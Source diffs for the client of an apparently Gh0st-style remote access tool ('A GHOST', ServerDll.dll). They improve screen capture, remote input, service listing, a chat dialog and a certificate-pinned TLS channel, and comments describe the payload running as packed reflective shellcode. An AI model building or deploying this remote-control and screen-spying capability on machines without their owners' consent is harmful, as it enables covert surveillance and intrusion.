if (!CaptureByGDI(buffer, reservedBytes)) return -1;
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
if (valid) *valid = true;
return 0;
}
if (!deskDupl) {
if (!ReinitDuplication()) return -10;
}
// 超时保持 100ms(与修复前一致)。AcquireNextFrame 的 timeout 是「最多等
// 多久」而不是「一定等这么久」,有帧会立即返回;静止桌面下白等只会拖慢
// 抓屏线程的轮询节奏(曾用 1000ms,导致首屏和之后每一帧都阻塞 1 秒)。
const UINT timeout = 100;
// 1. 获取下一帧
IDXGIResource* desktopResource = nullptr;
DXGI_OUTDUPL_FRAME_INFO frameInfo;
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
HRESULT hr = deskDupl->AcquireNextFrame(timeout, &frameInfo, &desktopResource);
// 处理全屏切换导致的访问丢失
if (hr == DXGI_ERROR_ACCESS_LOST) {
if (ReinitDuplication()) {
hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
hr = deskDupl->AcquireNextFrame(timeout, &frameInfo, &desktopResource);
}
}
// 桌面静止时没有新帧,这是 DXGI 的正常语义,不能当成错误。
// 调用方据此复用上一帧内容,保证编码器持续有输入。
if (hr == DXGI_ERROR_WAIT_TIMEOUT) {
return kNoNewFrame;
}
if (FAILED(hr)) {
return -1;
}
@@ -289,10 +616,40 @@ private:
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
if (FAILED(hr)) {
deskDupl->ReleaseFrame();
desktopResource->Release(); // 原来漏了,每次失败都会泄漏一个 DXGI 资源
return -2;
}
// 3. 复制到 CPU 纹理
// ID3D11DeviceContext::CopyResource 返回 void:尺寸/格式不匹配时不会报错,
// 只会静默不复制(目标保持原值 = 全零)。这里显式比对描述。
// 尺寸不一致时必须放弃这一帧:BlitRotated 按 m_surfW/H 计算源偏移,
// 表面变小会越界读取(崩溃或花屏),宁可跳过等 ReinitDuplication。
{
D3D11_TEXTURE2D_DESC sd = {};
texture->GetDesc(&sd);
if ((int)sd.Width != m_surfW || (int)sd.Height != m_surfH) {
static LONG s_sizeLog = 0;
if (s_sizeLog++ < 3) {
Mprintf("[DXGI] surface changed %dx%d -> %ux%u, drop frame\n",
m_surfW, m_surfH, sd.Width, sd.Height);
}
deskDupl->ReleaseFrame();
texture->Release();
desktopResource->Release();
return -4;
}
static LONG s_fmtLog = 0;
if (s_fmtLog < 3) {
D3D11_TEXTURE2D_DESC dd = {};
cpuTexture->GetDesc(&dd);
if (sd.Format != dd.Format) {
Mprintf("[DXGI] DESC MISMATCH fmt src=%d dst=%d\n",
(int)sd.Format, (int)dd.Format);
}
s_fmtLog++;
}
}
d3dContext->CopyResource(cpuTexture, texture);
// 4. 释放 DXGI 资源
@@ -307,22 +664,15 @@ private:
return -3;
}
// 6. 复制数据到缓冲区(垂直翻转)
BYTE* pData = (BYTE*)mapped.pData;
int rowSize = m_ulFullWidth * 4; // 每行的字节数(RGBA)
BYTE* dest = buffer + reservedBytes + (m_ulFullHeight - 1) * rowSize;
BYTE* src = pData;
for (int y = 0; y < m_ulFullHeight; y++) {
memcpy(dest, src, rowSize);
dest -= rowSize;
src += mapped.RowPitch;
}
// 6. 复制数据到缓冲区(按旋转角摆正 + 垂直翻转到 bottom-up DIB)
BlitRotated(buffer + reservedBytes, (const BYTE*)mapped.pData,
(int)mapped.RowPitch, m_surfW, m_surfH, m_rotation);
// 7. 清理
d3dContext->Unmap(cpuTexture, 0);
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
if (valid) *valid = true;
return 0;
}
};
+60 -7
View File
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
}
#endif
m_isGDI = TRUE;
m_virtual = FALSE;
@@ -189,6 +194,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) {
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
TerminateThread(m_hWorkThread, 0x20260215);
}
@@ -461,6 +467,26 @@ static BOOL RestoreConsoleSession()
return FALSE;
}
// 进程所在会话是否已断开(RDP 断开后没有显示输出)。
// 这种会话里 DXGI 桌面复制拿不到帧,部分驱动上连初始化都不返回,必须走 GDI。
// Session 0 是服务会话,没有「断开」这个概念,直接返回 FALSE。
static BOOL IsCurrentSessionDisconnected()
{
DWORD sessionId = 0;
if (!ProcessIdToSessionId(GetCurrentProcessId(), &sessionId) || sessionId == 0)
return FALSE;
WTS_CONNECTSTATE_CLASS* pState = NULL;
DWORD bytes = 0;
if (!WTSQuerySessionInformationA(WTS_CURRENT_SERVER_HANDLE, sessionId, WTSConnectState,
(LPSTR*)&pState, &bytes) || !pState) {
return FALSE;
}
const BOOL disconnected = (*pState == WTSDisconnected);
WTSFreeMemory(pState);
return disconnected;
}
void CScreenManager::InitScreenSpy()
{
int DXGI = USING_GDI;
@@ -545,7 +571,20 @@ void CScreenManager::InitScreenSpy()
}
}
SAFE_DELETE(m_ScreenSpyObject);
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
// 锁屏(输入桌面切到 Winlogon)或会话已断开时,当前会话没有可用的交互桌面:
// DXGI 桌面复制拿不到帧,部分环境(无 GPU 的 Server、断开/锁定的 RDP 会话)
// 甚至会在初始化里卡死不返回 —— 那样 InitScreenSpy 走不完,WorkThreadProc 里
// 紧随其后的 SendBitMapInfo() 永远发不出去,主控端一直等不到 TOKEN_BITMAPINFO,
// 连远程桌面窗口都不会弹。GDI 的 BitBlt 不依赖桌面变化,这些情况下照样能抓,
// 所以直接走 GDI。
const BOOL locked = IsWorkstationLocked();
const BOOL disconnected = IsCurrentSessionDisconnected();
const bool noDesktop = (USING_DXGI == DXGI && (locked || disconnected));
if (noDesktop) {
Mprintf("CScreenManager: no interactive desktop (locked=%d, disconnected=%d), use GDI instead of DXGI\n",
(int)locked, (int)disconnected);
}
if ((USING_DXGI == DXGI && IsWindows8orHigher() && !noDesktop)) {
m_isGDI = FALSE;
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
if (s->IsInitSucceed()) {
@@ -869,7 +908,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
}
break;
@@ -921,6 +963,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
SwitchScreen();
break;
}
case COMMAND_SCREEN_KEYFRAME_REQ: {
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR,立即重建参考链。
if (m_ScreenSpyObject) {
m_ScreenSpyObject->RequestKeyFrame();
}
break;
}
case CMD_FULL_SCREEN: {
int fullScreen = szBuffer[1];
iniFile cfg(CLIENT_PATH);
@@ -1725,11 +1774,15 @@ bool IsExtendedKey(WPARAM vKey)
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
msgSize = 48;
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
msgSize = 28;
else return; // 数据包不合法
// 命令个数
+2 -3
View File
@@ -66,9 +66,8 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL
Mprintf("CScreenSpy: 自定义分辨率 %dx%d\n",
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
} else {
// strategy=0 或 maxWidth=0: 默认 1080p 限制
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
// strategy=0 或 maxWidth=0: 默认 1080p 限制(等比,避免竖屏被压扁)
FitDefaultSendSize(m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
m_BitmapInfor_Send->bmiHeader.biSizeImage =
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
+18 -3
View File
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
CAPTION "ÏûÏ¢Ìáʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Remote Chat"
FONT 9, "MS Shell Dlg", 400, 0, 0x1
BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End Chat",IDC_BUTTON_END,178,133,54,14
END
/////////////////////////////////////////////////////////////////////////////
//
@@ -44,6 +55,10 @@ BEGIN
IDD_DIALOG, DIALOG
BEGIN
END
IDD_CHAT, DIALOG
BEGIN
END
END
#endif // APSTUDIO_INVOKED
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,8
FILEVERSION 1,0,4,2
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.8"
VALUE "FileVersion", "1.0.4.2"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
+17 -4
View File
@@ -24,11 +24,20 @@ CServicesManager::~CServicesManager()
VOID CServicesManager::SendServicesList()
{
LPBYTE szBuffer = GetServicesList();
DWORD dwErr = 0;
LPBYTE szBuffer = GetServicesList(&dwErr);
if (szBuffer == NULL) {
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
Mprintf("Get service list failed[IP: %s][win32=%lu]\n", m_ClientObject->GetPublicIP().c_str(), dwErr);
// 结构化失败回报:MCP 端据此立即返回「权限不足/SCM 打不开」,不必等 20s 超时。
// 老服务端不认识 TOKEN_SERVICE_ERROR,走 default 分支丢弃,随后仍按原样收到 ClientMsg。
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_SERVICE_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
// 保留原有弹窗消息:老服务端与 MFC 服务管理器(新 token 由对话框忽略)行为不变。
char buf[128];
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
Mprintf("%s\n", buf);
ClientMsg msg("服务管理", buf);
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
return;
@@ -42,7 +51,7 @@ VOID CServicesManager::SendServicesList()
#define skCrypt(p) p
#endif
LPBYTE CServicesManager::GetServicesList()
LPBYTE CServicesManager::GetServicesList(DWORD* err)
{
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
@@ -52,12 +61,14 @@ LPBYTE CServicesManager::GetServicesList()
DWORD dwLength = 0;
DWORD dwOffset = 0;
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
if (err) *err = GetLastError(); // 典型 5=拒绝访问(未提权)
return NULL;
}
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
if (ServicesStatus==NULL) {
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
CloseServiceHandle(m_hscManager);
return NULL;
}
@@ -75,8 +86,10 @@ LPBYTE CServicesManager::GetServicesList()
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
if (szBuffer == NULL)
if (szBuffer == NULL) {
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
return NULL;
}
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
+1 -1
View File
@@ -20,7 +20,7 @@ public:
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID SendServicesList();
LPBYTE GetServicesList();
LPBYTE GetServicesList(DWORD* err = NULL);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
+1
View File
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);
+33
View File
@@ -0,0 +1,33 @@
// TalkDialogTemplate.h: IDD_DIALOG 的编译后 DLGTEMPLATEEX(内嵌内存模板)
//
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,TalkManager 的 hInstance 是外壳进程
// 映像,其资源里没有 IDD_DIALOG;而载荷以裸 shellcode 运行、未注册进加载器,
// FindResource/LoadResource/DialogBoxParamA 一律取不到对话框资源。此时用下面的内存模板
// 直接 DialogBoxIndirectParamA 建窗,与部署形态无关。
//
// 数据来源:client/Script.rc 的 IDD_DIALOG(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口。
//
// 重新生成(改动 Script.rc 的 IDD_DIALOG 后必须同步):
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_DIALOG 块)
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 101 → 任意语言 取数据块,按 16 字节一行导出。
// 当前块 104 字节:CAPTION "消息提示"、FONT 10 "System" charset 0、
// 控件 ID 1000,与 Script.rc 完全一致;已与构建出的 ghost.exe 的
// RT_DIALOG(5) → 101 逐字节比对一致。
#ifndef YAMA_TALK_DIALOG_TEMPLATE_H
#define YAMA_TALK_DIALOG_TEMPLATE_H
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐。
__declspec(align(4)) static const unsigned char kTalkDialogTemplate[] = {
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x00, 0xC8, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6D,
0x6F, 0x60, 0xD0, 0x63, 0x3A, 0x79, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00,
0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x05, 0x00, 0x05, 0x00, 0xAA, 0x00, 0x5F, 0x00,
0xE8, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x82, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00,
0x69, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
};
#endif // YAMA_TALK_DIALOG_TEMPLATE_H
+26 -3
View File
@@ -4,6 +4,7 @@
#include "stdafx.h"
#include "TalkManager.h"
#include "TalkDialogTemplate.h"
#include "Common.h"
#include "resource.h"
#include <IOSTREAM>
@@ -49,10 +50,23 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
default: {
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
// 服务端只发正文、不带结尾 NUL:按实际长度补终止符(留一格),
// 否则正好填满缓冲区时 SetDlgItemText 会越界读
size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1);
memcpy(g_Buffer, szBuffer, nCopy);
g_Buffer[nCopy] = '\0';
//创建一个DLG
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
if (nRet == -1) {
// 与聊天窗口同样的原因:加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是
// 外壳进程映像,取不到 IDD_DIALOG 资源,DialogBoxParamA 直接失败(Win11
// 实测 err=1812/59),右下角消息窗口不会出现。回退到内嵌的编译后模板。
DWORD dwError = GetLastError();
Mprintf("DialogBoxParamA(%lu) 失败,改用内嵌对话框模板\n", dwError);
DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate,
NULL, DialogProc, (LPARAM)this);
}
break;
}
}
@@ -97,6 +111,15 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
// 标题栏:DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换,
// 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题
// (消息正文仍走 ANSI,保持原有编码语义)。中文系统显示中文,其余显示英文。
{
static const bool bChineseUI =
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message");
}
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
BIN
View File
Binary file not shown.
+569
View File
@@ -0,0 +1,569 @@
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
#ifdef _WIN32
#include "stdafx.h"
#include "TlsChannel.h"
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
#include <wincrypt.h> // 证书/链引擎 API
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
#include <io.h> // _access
#include <fstream> // std::ifstream
#include <iterator> // std::istreambuf_iterator
#include <string>
#include <mutex> // std::mutex
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "crypt32.lib")
namespace {
// 进程级 TLS 状态:首连时加载一次,服务端下发/撤销信任锚后可重建(TlsReload)。
// 所有读写都在 g_tlsMtx 下;证书校验(VerifyServerCert)在校验期间持同一把锁,因此
// 重建时可以安全地释放旧的 store/engine——不会再有线程正拿着它们用。
std::mutex g_tlsMtx;
bool g_tlsLoaded = false; // 已加载过至少一次(决定首次失败是否 fail-closed)
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
HCERTSTORE g_tlsStore = NULL;
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
// yama-ca.pem。
std::string ResolveCertPath()
{
std::string certPath;
{
config cfg;
certPath = cfg.GetStr("settings", "tls_cert", "");
}
if (certPath.empty()) {
char path[MAX_PATH];
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
return std::string(); // 拿不到 exe 路径,视为未配置
char* p = path + strlen(path);
while (p > path && *p != '\\') --p;
strcpy(p + 1, "yama-ca.pem");
certPath = path;
}
return certPath;
}
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
{
HKEY hKey = NULL;
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
DWORD type = 0, size = 0;
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
if (r != ERROR_SUCCESS || type != REG_SZ) {
RegCloseKey(hKey);
return false;
}
std::vector<char> buf(size ? size : 1, 0);
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
reinterpret_cast<LPBYTE>(buf.data()), &size);
RegCloseKey(hKey);
if (r != ERROR_SUCCESS)
return false;
if (size > 0 && buf[size - 1] == '\0')
--size; // REG_SZ 的 size 含末尾 '\0'
out.assign(buf.data(), size);
return true;
}
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
bool ReadTrustAnchor(std::string& pem, std::string& source)
{
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
// 被静默当成未配置而回退明文。
std::string regSubKey = GetRegistryName() + "\\settings";
std::string regVal;
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
pem = regVal;
source = "registry " + regSubKey + "\\tls_cert";
return true;
}
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
std::string certPath = ResolveCertPath();
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
return false; // 无证书 → 明文
std::ifstream f(certPath.c_str(), std::ios::binary);
if (!f) {
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
return false;
}
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
source = certPath;
return true;
}
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
{
if (pem.empty()) {
Mprintf("[TLS] empty certificate %s\n", source.c_str());
return false;
}
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
DWORD derLen = 0;
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
NULL, &derLen, NULL, NULL) || derLen == 0) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
NULL, &derLen, NULL, NULL) || derLen == 0) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
std::vector<BYTE> der(derLen);
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
der.data(), &derLen, NULL, NULL)) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
der.data(), &derLen, NULL, NULL)) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
if (!cert) {
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
return false;
}
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
if (!store) {
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertOpenStore failed\n");
return false;
}
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
CertCloseStore(store, 0);
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
return false;
}
CertFreeCertificateContext(cert);
*outStore = store;
return true;
}
enum TlsAnchor { TLS_ANCHOR_OK, TLS_ANCHOR_NONE, TLS_ANCHOR_INVALID };
// 读取当前信任锚并建好 store + 链引擎(成功时经 outStore/outEngine 交出,调用方负责
// 释放)。不触碰全局状态。source 描述锚的来源,仅用于日志。
TlsAnchor BuildTlsAnchor(HCERTSTORE* outStore, HCERTCHAINENGINE* outEngine,
std::string& source, std::string& err)
{
std::string pem;
if (!ReadTrustAnchor(pem, source)) {
err = "no trust anchor configured";
return TLS_ANCHOR_NONE;
}
HCERTSTORE store = NULL;
if (!LoadTrustAnchor(pem, source, &store)) {
err = "trust anchor (" + source + ") present but failed to load";
return TLS_ANCHOR_INVALID;
}
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
CERT_CHAIN_ENGINE_CONFIG ec = {};
ec.cbSize = sizeof(ec);
ec.hExclusiveRoot = store;
HCERTCHAINENGINE engine = NULL;
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
CertCloseStore(store, 0);
err = "CertCreateCertificateChainEngine failed";
return TLS_ANCHOR_INVALID;
}
*outStore = store;
*outEngine = engine;
return TLS_ANCHOR_OK;
}
// 按当前信任锚重建 TLS 状态(调用方持 g_tlsMtx)。
// 首次加载失败 → fail-closed(管理员已「颁发」证书,不能静默回退明文);运行期热重载
// 失败 → 保持现有状态不变,返回 false(一次坏下发不该打死正在工作的客户端;下次启动
// 仍会 fail-closed)。
bool ApplyTlsStateLocked(bool initial, std::string& err)
{
HCERTSTORE store = NULL;
HCERTCHAINENGINE engine = NULL;
std::string source;
const TlsAnchor anchor = BuildTlsAnchor(&store, &engine, source, err);
if (anchor == TLS_ANCHOR_INVALID) {
if (initial) {
g_tlsEnabled = false;
g_tlsError = true;
g_tlsLoaded = true;
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
} else {
Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str());
}
return false;
}
// 互换。旧 store/engine 可以直接释放:校验路径持同一把锁,此刻没有线程在用它们。
HCERTSTORE oldStore = g_tlsStore;
HCERTCHAINENGINE oldEngine = g_tlsEngine;
g_tlsStore = store;
g_tlsEngine = engine;
g_tlsEnabled = (anchor == TLS_ANCHOR_OK);
g_tlsError = false;
g_tlsLoaded = true;
if (oldEngine) CertFreeCertificateChainEngine(oldEngine);
if (oldStore) CertCloseStore(oldStore, 0);
if (g_tlsEnabled)
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
else
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
return true;
}
// 首次调用时才真正加载;之后一律用缓存的状态(热重载由 TlsReload 负责)。
inline void EnsureTlsLoadedLocked()
{
if (!g_tlsLoaded) {
std::string err;
ApplyTlsStateLocked(true, err);
}
}
} // namespace
bool TlsEnabled()
{
std::lock_guard<std::mutex> lk(g_tlsMtx);
EnsureTlsLoadedLocked();
return g_tlsEnabled;
}
bool TlsLoadError()
{
